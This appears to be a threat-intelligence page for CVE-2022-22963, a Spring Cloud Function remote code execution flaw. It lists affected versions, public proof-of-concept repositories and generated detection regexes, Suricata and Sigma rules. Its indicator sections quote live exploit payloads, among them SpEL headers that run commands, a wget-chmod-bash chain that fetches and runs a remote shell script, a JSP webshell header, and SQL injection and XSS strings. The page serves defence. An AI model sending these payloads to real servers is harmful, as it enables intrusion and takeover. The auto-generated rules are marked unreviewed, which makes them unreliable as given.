PoC Monitor
← All CVEs
CVE-2022-22963published 1 Apr 2022 00:00 UTCData: JSON · API

VMware Tanzu Spring Cloud Function

VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability

In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.

First public PoC 1.8 days beforebefore publication · 30 Mar 2022
Public PoCs4138 on GitHub · 3 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-94
CISA KEV 25 Aug 2022146 days after publication

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

org.springframework.cloud:spring-cloud-function-context (Maven)
  • >= 3.2.0, < 3.2.3

Fixed in 3.2.3

from GitHub Security Advisory GHSA-6v73-fgf6-w5j7

org.springframework.cloud:spring-cloud-function-context (Maven)
  • < 3.1.7

Fixed in 3.1.7

from GitHub Security Advisory GHSA-6v73-fgf6-w5j7

Mitigation

Upgrade org.springframework.cloud:spring-cloud-function-context to 3.2.3 or later.

Upgrade org.springframework.cloud:spring-cloud-function-context to 3.1.7 or later.

Timeline

Days relative to CVE publication
t=0+30+60+90+120First public PoC30 Mar 2022 · t−1.8dCVE published1 Apr 2022 · t = 0Added to CISA KEV25 Aug 2022 · t+146d

First public PoC 1.8 days before publication; added to CISA KEV 146 days after publication. First PoC: dinosn/CVE-2022-22963 (created 30 Mar 2022, found by us: backfilled).

PoC repositories

Found on GitHub.

38 PoCs · 5 pending · 3 informational · 1 not a PoC

PoCs 38
RepositoryCreatedFound by usStarsAssessment
dinosn/CVE-2022-22963 30 Mar 2022 −1.8 d backfilled 119 PoC
RanDengShiFu/CVE-2022-22963 30 Mar 2022 −1.5 d backfilled 15 PoC
darryk10/CVE-2022-22963 30 Mar 2022 −1.3 d backfilled 34 PoC via PoC Index
Kirill89/CVE-2022-22963-PoC 30 Mar 2022 −1.3 d backfilled 9 PoC
stevemats/Spring0DayCoreExploit 30 Mar 2022 −1.2 d backfilled 3 PoC older repo: PoC date unknown, not used for the first PoC
9xN/SpringCore-0day 31 Mar 2022 −21 h backfilled 4 PoC older repo: PoC date unknown, not used for the first PoC
cyberkartik/CVE 31 Mar 2022 −18 h backfilled 0 PoC older repo: PoC date unknown, not used for the first PoC
puckiestyle/CVE-2022-22963 31 Mar 2022 −13 h backfilled 1 PoC
me2nuk/CVE-2022-22963 31 Mar 2022 −9 h backfilled 19 PoC via PoC Index
AayushmanThapaMagar/CVE-2022-22963 1 Apr 2022 +11 h backfilled 1 PoC
dotnes/spring4shell 2 Apr 2022 +1.4 d backfilled 1 PoC
sinjap/spring4shell 2 Apr 2022 +1.4 d backfilled 1 PoC
twseptian/cve-2022-22963 3 Apr 2022 +2.3 d backfilled 2 PoC via PoC Index
SealPaPaPa/SpringCloudFunction-Research 5 Apr 2022 +4.7 d backfilled 1 PoC
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

G01d3nW01f/CVE-2022-22963 11 Apr 2022 +10 d backfilled 0 PoC
Ki11i0n4ir3/CVE-2022-22963 11 Apr 2022 +10 d backfilled 0 PoC
k3rwin/spring-cloud-function-rce 14 Apr 2022 +13 d backfilled 8 PoC
jojosec/SPeL-injection-study 23 Apr 2022 +23 d backfilled 0 PoC
iliass-dahman/CVE-2022-22963-POC 15 Jan 2023 +290 d backfilled 4 PoC
charis3306/CVE-2022-22963 7 Mar 2023 +341 d backfilled 8 PoC
lemmyz4n3771/CVE-2022-22963-PoC 13 Mar 2023 +347 d backfilled 4 PoC
J0ey17/CVE-2022-22963_Reverse-Shell-Exploit 18 Mar 2023 +351 d backfilled 24 PoC
Mustafa1986/CVE-2022-22963 21 Mar 2023 +354 d backfilled 0 PoC
SourM1lk/CVE-2022-22963-Exploit 10 Apr 2023 +1.0 y backfilled 1 PoC
randallbanner/Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE 17 Apr 2023 +1.0 y backfilled 4 PoC
gunzf0x/CVE-2022-22963 3 May 2023 +1.1 y backfilled 0 PoC
nikn0laty/RCE-in-Spring-Cloud-CVE-2022-22963 25 May 2023 +1.1 y backfilled 0 PoC
BearClaw96/CVE-2022-22963-Poc-Bearcules 28 Oct 2023 +1.6 y backfilled 0 PoC
xmqaq/CVE-2022-22963 28 Dec 2023 +1.7 y backfilled 1 PoC
0x801453/SpringbootGuiExploit 7 May 2024 +2.1 y backfilled 20 PoC via PoC Index
MInggongK/SpringbootGuiExploit 7 May 2024 +2.1 y backfilled 20 PoC via PoC Index
jrbH4CK/CVE-2022-22963 8 May 2024 +2.1 y backfilled 0 PoC
BBD-YZZ/GUI-TOOLS 27 May 2024 +2.2 y backfilled 25 PoC via PoC Index
Shayz614/CVE-2022-22963 13 Dec 2024 +2.7 y backfilled 0 PoC via PoC Index
808rsec/CVE-2022-22963 5 May 2026 +4.1 y backfilled 0 PoC
r4y-br/CVE-2022-22963 22 Aug 2026 +4.4 y backfilled 0 PoC
CyberCTF/vulhub-spring-cve-2022-22963 8 Oct 2026 +4.5 y backfilled 0 PoC
Ameyuh0716/IS-lab1-CVE 20 Oct 2026 +4.6 y 14 Nov 2026 0 PoC
Pending 5
RepositoryCreatedStarsAssessment
HenriV-V/Exploit-for-CVE-2022-22963 unknown 0 Pending · repository unavailable (HTTP 404)
HenriVlasic/Exploit-for-CVE-2022-22963 unknown 0 Pending · repository unavailable (HTTP 404)
dr6817/CVE-2022-22963 unknown 0 Pending · repository unavailable (HTTP 404)
exploitbin/CVE-2022-22963-Spring-Core-RCE unknown 0 Pending · repository unavailable (HTTP 404)
trhacknon/CVE-2022-22963 unknown 0 Pending · repository unavailable (HTTP 404)
Informational 3
RepositoryCreatedStarsAssessment
kh4sh3i/Spring-CVE 31 Mar 2022 −4 h 14 Informational · list
onewinner/VulToolsKit 27 Jun 2024 +2.2 y 662 Informational · list
Fhwang0926/seo-labs 25 Jan 2026 +3.8 y 0 Informational · list
Not a PoC 1
RepositoryCreatedStarsAssessment
hktalent/spring-spel-0day-poc 26 Mar 2022 −5.9 d 355 Not a PoC · unrelated

Only PoCs count toward the first-PoC date and the characteristics below. "Backfilled" means we found the repository more than 30 days after it was created. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 38 PoC repos

POST /functionRouter

Key headers
$accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 $content-Type: application/x-www-form-urlencoded $host: 192.168.1.2:8080 $spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test") $spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\") Accept: */* Accept-Language: en Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("{var}") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("whoami") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("calc") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("wget -P /tmp http://$lhost/rs.sh") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("bash /tmp/rs.sh") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch {var}") Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") Spring.cloud.function.routing-Expression: {var} Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("id")
Body markers
onion test .= xxx= XXX test= $exploit_poc= jojo= data= d= data in text/plain
Ports
3000, 8080, 8081, 9090, 40775
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Mozilla/5.0 (compatible; VulnerabilityScanner/1.0)
Seen in
21 repos: AayushmanThapaMagar/CVE-2022-22963, Ameyuh0716/IS-lab1-CVE, BearClaw96/CVE-2022-22963-Poc-Bearcules, CyberCTF/vulhub-spring-cve-2022-22963, J0ey17/CVE-2022-22963_Reverse-Shell-Exploit, Kirill89/CVE-2022-22963-PoC, Mustafa1986/CVE-2022-22963, SealPaPaPa/SpringCloudFunction-Research, cyberkartik/CVE, darryk10/CVE-2022-22963, dinosn/CVE-2022-22963, gunzf0x/CVE-2022-22963, jojosec/SPeL-injection-study, jrbH4CK/CVE-2022-22963, k3rwin/spring-cloud-function-rce, lemmyz4n3771/CVE-2022-22963-PoC, me2nuk/CVE-2022-22963, puckiestyle/CVE-2022-22963, randallbanner/Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE, twseptian/cve-2022-22963, xmqaq/CVE-2022-22963
Evidence
AayushmanThapaMagar/CVE-2022-22963/CVE-2022-22963.py:57 Ameyuh0716/IS-lab1-CVE/README.md:347 Ameyuh0716/IS-lab1-CVE/exploit/poc.sh:26 BearClaw96/CVE-2022-22963-Poc-Bearcules/POC-CVE-2022-22963.sh:20 CyberCTF/vulhub-spring-cve-2022-22963/app/README.md:30 CyberCTF/vulhub-spring-cve-2022-22963/app/README.zh-cn.md:26

GET /checkexploit.jsp

Key headers
Test: {var}
Ports
8080
Seen in
2 repos: dotnes/spring4shell, sinjap/spring4shell
Evidence
dotnes/spring4shell/CVE-2022-22965.yaml:32 sinjap/spring4shell/CVE-2022-22965.yaml:32

POST /{var}/

Key headers
C2: <% Suffix: %>
Body markers
class.module.classLoader.resources.context.parent.pipeline.first.pattern=% class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=checkexploit class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= in application/x-www-form-urlencoded
Ports
8080
Seen in
2 repos: dotnes/spring4shell, sinjap/spring4shell
Evidence
dotnes/spring4shell/CVE-2022-22965.yaml:23 sinjap/spring4shell/CVE-2022-22965.yaml:23

GET /api.php

Query
m=testcase f=savexmindimport HTTP_X_REQUESTED_WITH=XMLHttpRequest productID=upkbbehwgfscwizoglpw branch=zqbcsfncxlpopmrvchsu
Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1
Ports
8848
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Seen in
1 repo: BBD-YZZ/GUI-TOOLS
Evidence
BBD-YZZ/GUI-TOOLS/pocs/QVD_2024_15263.py:150

GET /stupidRumor_war_exploded/fuckUUUU

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%> Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Upgrade-Insecure-Requests: 1
Ports
8080
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Seen in
1 repo: 9xN/SpringCore-0day
Evidence
9xN/SpringCore-0day/english-version.md:136

POST /api.php/v1/users

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Cookie: zentaosid=2096a8f74ab1e2b7211ce133e5e83db0; lang=zh-cn; device=desktop; theme=default Upgrade-Insecure-Requests: 1
Body markers
"account":"usertest" "password":"123qwe!@#" "realname":"测试用户"
Ports
8848
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Seen in
1 repo: BBD-YZZ/GUI-TOOLS
Evidence
BBD-YZZ/GUI-TOOLS/pocs/QVD_2024_15263.py:177

PUT /api.php/v1/users/1

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Cookie: zentaosid=2096a8f74ab1e2b7211ce133e5e83db0; lang=zh-cn; device=desktop; theme=default Upgrade-Insecure-Requests: 1
Body markers
"realname":"admin"
Ports
8848
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Seen in
1 repo: BBD-YZZ/GUI-TOOLS
Evidence
BBD-YZZ/GUI-TOOLS/pocs/QVD_2024_15263.py:161

DELETE /api/posts/1

Key headers
Authorization: Bearer {var}
Ports
3000, 8080, 8081, 9090
Seen in
1 repo: Ameyuh0716/IS-lab1-CVE
Evidence
Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:62

GET /LFI

Query
file=/tmp/rce
Ports
8080
Seen in
1 repo: lemmyz4n3771/CVE-2022-22963-PoC
Evidence
lemmyz4n3771/CVE-2022-22963-PoC/README.md:29

GET /api/me

Key headers
Authorization: Bearer {var}
Ports
3000, 8080, 8081, 9090
Seen in
1 repo: Ameyuh0716/IS-lab1-CVE
Evidence
Ameyuh0716/IS-lab1-CVE/README.md:112 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:59

GET /api/posts

Query
q=JWT
Key headers
Authorization: Bearer {var}
Ports
9090
Seen in
1 repo: Ameyuh0716/IS-lab1-CVE
Evidence
Ameyuh0716/IS-lab1-CVE/README.md:104

GET /getdomain.php

Query
t=
Ports
8848
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Seen in
1 repo: BBD-YZZ/GUI-TOOLS
Evidence
BBD-YZZ/GUI-TOOLS/toolss/dnsLog.py:10 BBD-YZZ/GUI-TOOLS/toolss/dnsLog.py:23

POST /api/posts

Key headers
Authorization: Bearer {var}
Body markers
"title" "body":"<img src=x onerror=alert(1)>" q=' OR 1=1 -- in application/json
Ports
3000, 8080, 8081, 9090
Seen in
1 repo: Ameyuh0716/IS-lab1-CVE
Evidence
Ameyuh0716/IS-lab1-CVE/README.md:107 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:48 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:53

POST /auth/login

Body markers
"username":"alice" "password":"Alice@Passw0rd" "username" "password" "username":"alice' OR '1'='1" "password":"x" in application/json
Ports
3000, 8080, 8081, 9090
Seen in
1 repo: Ameyuh0716/IS-lab1-CVE
Evidence
Ameyuh0716/IS-lab1-CVE/README.md:93 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:14 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:21 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:40 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:43

POST /functionRouter/functionRouter

Key headers
Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("{var}")
Body markers
Hello
Seen in
1 repo: iliass-dahman/CVE-2022-22963-POC
Evidence
iliass-dahman/CVE-2022-22963-POC/attacker/exploit.py:22

POST /uppercase`.

Body markers
hello= in application/x-www-form-urlencoded
Ports
8080
Seen in
1 repo: CyberCTF/vulhub-spring-cve-2022-22963
Evidence
CyberCTF/vulhub-spring-cve-2022-22963/README.md:19

POST /v1/query

Content-Type
application/json
Ports
3000, 8080, 8081, 9090
Seen in
1 repo: Ameyuh0716/IS-lab1-CVE
Evidence
Ameyuh0716/IS-lab1-CVE/scripts/osv_scan.py:42

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /functionRouter
(?i)^/functionRouter(?:[?#].*)?$
GET /checkexploit.jsp
(?i)^/checkexploit\.jsp(?:[?#].*)?$
POST /{var}/
(?i)^/[^/?#]*/(?:[?#].*)?$
GET /shelly.jsp
(?i)^/shelly\.jsp\?(?:.*&)?pwd=PeekAboo.*cmd=whoami
POST /uppercase
(?i)^/uppercase(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /functionRouter
alert http any any -> $HOME_NET [3000,8080,8081,9090,40775] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/functionRouter"; http.header; content:"$accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,*/*|3b|q=0.8"; nocase; http.header; content:"$content-Type: application/x-www-form-urlencoded"; nocase; http.header; content:"$host: 192.168.1.2:8080"; nocase; http.header; content:"$spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|5c||22|touch /tmp/test|22|)"; nocase; http.header; content:"$spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|5c||22|ping -c5 172.17.0.1|5c||22|)"; nocase; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch PWNED|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch /tmp/pwned|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|whoami|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|calc|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|wget -P /tmp http://$lhost/rs.sh|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|chmod +x /tmp/rs.sh|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|bash /tmp/rs.sh|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch "; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch /tmp/success|22|)"; nocase; http.header_names; content:"Spring.cloud.function.routing-Expression"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|id|22|)"; nocase; http.request_body; content:"onion"; http.request_body; content:"test"; http.request_body; content:".="; http.request_body; content:"xxx="; http.request_body; content:"XXX"; http.request_body; content:"test="; http.request_body; content:"$exploit_poc="; http.request_body; content:"jojo="; http.request_body; content:"data="; http.request_body; content:"d="; http.request_body; content:"data"; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9377669; rev:1;)
GET /checkexploit.jsp
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/checkexploit.jsp"; http.header_names; content:"Test"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9276424; rev:1;)
POST /{var}/
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.header; content:"C2: <%"; nocase; http.header; content:"Suffix: %>"; nocase; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.prefix=checkexploit"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9568942; rev:1;)
GET /shelly.jsp
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/shelly.jsp"; http.uri; content:"pwd=PeekAboo"; http.uri; content:"cmd=whoami"; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9269038; rev:1;)
POST /uppercase
alert http any any -> $HOME_NET [3000,8080,8081,9090] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/uppercase"; http.request_body; content:"test"; http.request_body; content:"hello"; http.request_body; content:"test`"; http.request_body; content:"isoloom"; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9736016; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /functionRouter
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9377669
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/functionRouter'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.22963
GET /checkexploit.jsp
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9276424
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/checkexploit.jsp'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.22963
POST /{var}/
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9568942
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.22963
GET /shelly.jsp
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9269038
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/shelly.jsp'
    cs-uri-query|contains|all:
      - 'pwd=PeekAboo'
      - 'cmd=whoami'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.22963
POST /uppercase
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9736016
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/uppercase'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.22963